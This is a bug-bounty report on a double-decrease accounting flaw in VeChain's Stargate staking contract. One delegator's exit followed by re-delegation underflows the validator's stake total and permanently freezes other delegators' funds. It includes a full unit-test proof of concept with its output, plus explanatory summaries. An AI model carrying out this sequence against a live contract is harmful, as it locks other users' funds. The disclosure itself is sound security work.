User balances are permanently frozen in specific delegation scenarios
A flaw in the Stargate contract's delegation logic causes a validator's effective stake to be reduced twice for the same user when that user exits and later re-delegates after the validator has exited. This desynchronises the accounting and causes an arithmetic underflow when another delegator tries to move or exit their stake, permanently freezing their funds.
Originally disclosed on Immunefi
- Disclosed after under an hour
59809 sc high user balances are permanently frozen in specific delegation scenarios
Submitted on Nov 16th 2025 at 02:59:50 UTC by @hrmneffdii for Audit Comp | Vechain | Stargate Hayabusa
- Report ID: #59809
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/immunefi-team/audit-comp-vechain-stargate-hayabusa/tree/main/packages/contracts/contracts/Stargate.sol
- Impacts:
- Permanent freezing of funds
Description
Brief / Intro
This report details a critical vulnerability discovered in the Stargate contract's delegation logic. A flaw in the _delegate function can cause a validator's delegatorsEffectiveStake to be improperly reduced twice for the same user.
This "double-decrease" bug desynchronizes the validator's internal stake accounting, leading to an arithmetic underflow when another user attempts to interact with their own stake. As a result, other delegators on the same validator will have their funds permanently frozen, as all management functions (e.g., delegate, requestDelegationExit, unstake) will fail.
Vulnerability details
{% stepper %} {% step %}
Path: requestDelegationExit()
When a user (e.g., "Bob" from the PoC) calls requestDelegationExit (Step 5 in PoC), the function correctly calls _updatePeriodEffectiveStake(..., isIncrease: false). This reduces the validator's EffectiveStake to reflect the user's exit. This is the expected behavior.
{% endstep %}
{% step %}
Path: _delegate() (during re-delegation)
Later, the validator exits. If the user then calls _delegate to move their stake to a new validator, the logic in _delegate can also reduce the original validator's EffectiveStake again:
_getDelegationStatusreturnsDelegationStatus.EXITEDfor the token.- This triggers the conditional
if (status == DelegationStatus.EXITED || status == DelegationStatus.PENDING)which withdraws the user's VET viawithdrawDelegation. - Later, a second condition
if (currentValidatorStatus == VALIDATOR_STATUS_EXITED || status == DelegationStatus.PENDING)is true and the code calls_updatePeriodEffectiveStake(..., isIncrease: false)a second time.
The code does not account for the stake already having been subtracted during requestDelegationExit, causing a double-decrease of the same user's stake from the validator's EffectiveStake.
{% endstep %}
{% endstepper %}
Destructive scenario (PoC summary)
{% stepper %} {% step %} A validator has EffectiveStake = 3e18 (Alice 1.5e18 + Bob 1.5e18). {% endstep %}
{% step %}
Bob calls requestDelegationExit. Validator EffectiveStake becomes 1.5e18 (3e18 - 1.5e18). (Correct)
{% endstep %}
{% step %}
Validator exits. Bob calls delegate to a new validator. Due to the bug, the code reduces the validator's EffectiveStake again, resulting in EffectiveStake = 0 (1.5e18 - 1.5e18). (Incorrect)
{% endstep %}
{% step %}
Alice (still delegated to the exited validator with 1.5e18) attempts to call delegate to move her funds.
{% endstep %}
{% step %}
The _delegate logic for Alice attempts _updatePeriodEffectiveStake(..., isIncrease: false):
- currentValue = 0 (incorrect)
- effectiveStake (Alice) = 1.5e18
- updatedValue = currentValue - effectiveStake -> 0 - 1.5e18 This causes an arithmetic underflow (Solidity 0.8.x+), and Alice's transaction reverts. {% endstep %}
{% step %}
The same underflow occurs for Alice if she calls requestDelegationExit or other management operations; her funds become effectively frozen with no in-contract fix available.
{% endstep %}
{% endstepper %}
{% hint style="danger" %} Impact: Critical — permanent and irrecoverable freeze of user funds. If one user on a validator executes the sequence (requestDelegationExit, then after validator exit re-delegate), remaining delegators on that validator can be permanently prevented from moving or exiting their stakes due to underflow reverts. {% endhint %}
Proof of Concept
How to run
Run the following test: yarn contracts:test:unit:verbose -- -- --grep "User balances are permanently frozen in specific delegation scenarios"
Test Case (excerpt)
// audit-comp-vechain-stargate-hayabusa/packages/contracts/test/unit/Stargate/Delegation.test.ts
it("User balances are permanently frozen in specific delegation scenarios", async () => {
// Defining the actor
let Alice = user;
let Bob = otherUser;
let completePeriod;
// 1. Alice and Bob stake to Stargate
const levelSpec = await stargateNFTMock.getLevel(LEVEL_ID);
tx = await stargateContract.connect(Alice).stake(LEVEL_ID, {
value: levelSpec.vetAmountRequiredToStake,
});
await tx.wait();
const tokenIdAlice = await stargateNFTMock.getCurrentTokenId();
tx = await stargateContract.connect(Bob).stake(LEVEL_ID, {
value: levelSpec.vetAmountRequiredToStake,
});
await tx.wait();
const tokenIdBob = await stargateNFTMock.getCurrentTokenId();
console.log("1. Alice tokenId", tokenIdAlice.toString(), " Bob tokenId", tokenIdBob.toString());
// 2. Alice and Bob delegate their tokenId
tx = await stargateContract.connect(Alice).delegate(tokenIdAlice, validator.address);
await tx.wait();
let delegationStatusAlice = await stargateContract.getDelegationStatus(tokenIdAlice);
expect(delegationStatusAlice).to.equal(DELEGATION_STATUS_PENDING);
tx = await stargateContract.connect(Bob).delegate(tokenIdBob, validator.address);
await tx.wait();
let delegationStatusBob = await stargateContract.getDelegationStatus(tokenIdBob);
expect(delegationStatusBob).to.equal(DELEGATION_STATUS_PENDING);
console.log("2. Alice and Bob successfully delegate their tokenId");
const delegationIdAlice = await stargateContract.getDelegationIdOfToken(tokenIdAlice);
const delegationIdBob = await stargateContract.getDelegationIdOfToken(tokenIdBob);
// 3. Set validator completed periods to make delegateId active
completePeriod = 1;
tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, completePeriod);
await tx.wait();
expect(await stargateContract.getDelegationStatus(tokenIdAlice)).to.equal(
DELEGATION_STATUS_ACTIVE
);
expect(await stargateContract.getDelegationStatus(tokenIdBob)).to.equal(
DELEGATION_STATUS_ACTIVE
);
console.log("3. Set validator completed periods to make their delegation active");
console.log(" Validator effective stake", await stargateContract.getDelegatorsEffectiveStake(validator.address, completePeriod + 2));
// 4. Advanced completed periods and validator will exit
completePeriod = 100;
tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, completePeriod);
await tx.wait();
console.log("4. Advanced completed period and validator will exit");
// 5. Bob request to exit
tx = await stargateContract.connect(Bob).requestDelegationExit(tokenIdBob);
await tx.wait();
console.log("5. Bob request delegation exit successfully");
console.log(" Validator effective stake", await stargateContract.getDelegatorsEffectiveStake(validator.address, completePeriod + 2));
// 6. Validator exits after advanced completed periods
tx = await protocolStakerMock.helper__setValidatorStatus(validator.address, 3);
await tx.wait();
console.log("6. Validator has been exited");
// 7. Bob is going to delegate to another validator
tx = await stargateContract.connect(Bob).delegate(tokenIdBob, otherValidator.address);
await tx.wait();
delegationStatusBob = await stargateContract.getDelegationStatus(tokenIdBob);
expect(delegationStatusBob).to.equal(DELEGATION_STATUS_PENDING);
console.log("7. Bob successfully delegates his token Id to another validator");
console.log(" Validator effective stake", await stargateContract.getDelegatorsEffectiveStake(validator.address, completePeriod + 2));
// 8. Alice is going to delegate to another validator as well, but reverts due to effective stake underflow
await expect(
stargateContract.connect(Alice).delegate(tokenIdAlice, otherValidator.address)
).to.be.reverted;
console.log("8. Alice want to delegate her token Id but fails");
// 9. Alice is going to request delegation exit, but reverts due to effective stake underflow
await expect(
stargateContract.connect(Alice).requestDelegationExit(tokenIdAlice)
).to.be.reverted;
console.log("9. Alice want to request delegate exit but fails");
})
shard-u2: Stargate: Delegation
1. Alice tokenId 10001 Bob tokenId 10002
2. Alice and Bob successfully delegate their tokenId
3. Set validator completed periods to make their delegation active
Validator effective stake 3000000000000000000
4. Advanced completed period and validator will exit
5. Bob request delegation exit successfully
Validator effective stake 1500000000000000000
6. Validator has been exited
7. Bob successfully delegates his token Id to another validator
Validator effective stake 0
8. Alice want to delegate her token Id but fails
9. Alice want to request delegate exit but fails
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the `_delegate` function subtracts a user's stake from the validator's effective stake a second time even though `requestDelegationExit` already subtracted it, because the exit status check does not account for the earlier reduction.
Impact
Remaining delegators on the affected validator can be permanently prevented from moving or exiting their stakes, freezing their funds with no in-contract fix.
What the attacker needed
Two or more delegators on one validator; one delegator exits then re-delegates after validator exit
How it was found
- Alice and Bob each stake and delegate to the same validator, making the validator's effective stake 3e18.
- The validator's completed periods are advanced so the delegations become active.
- The validator exits after further completed periods.
- Bob calls requestDelegationExit, reducing the validator's effective stake to 1.5e18.
- Bob re-delegates to another validator, and the bug reduces the original validator's effective stake to 0.
- Alice tries to delegate or request a delegation exit, but the transaction reverts due to an arithmetic underflow.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract keeps a running total of how much stake each validator holds. When one user leaves, the contract subtracts their stake once, but a bug makes it subtract the same amount again later. That leaves the total too low, so when another user tries to leave, the contract tries to subtract more than it has and the transaction fails, locking their money.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.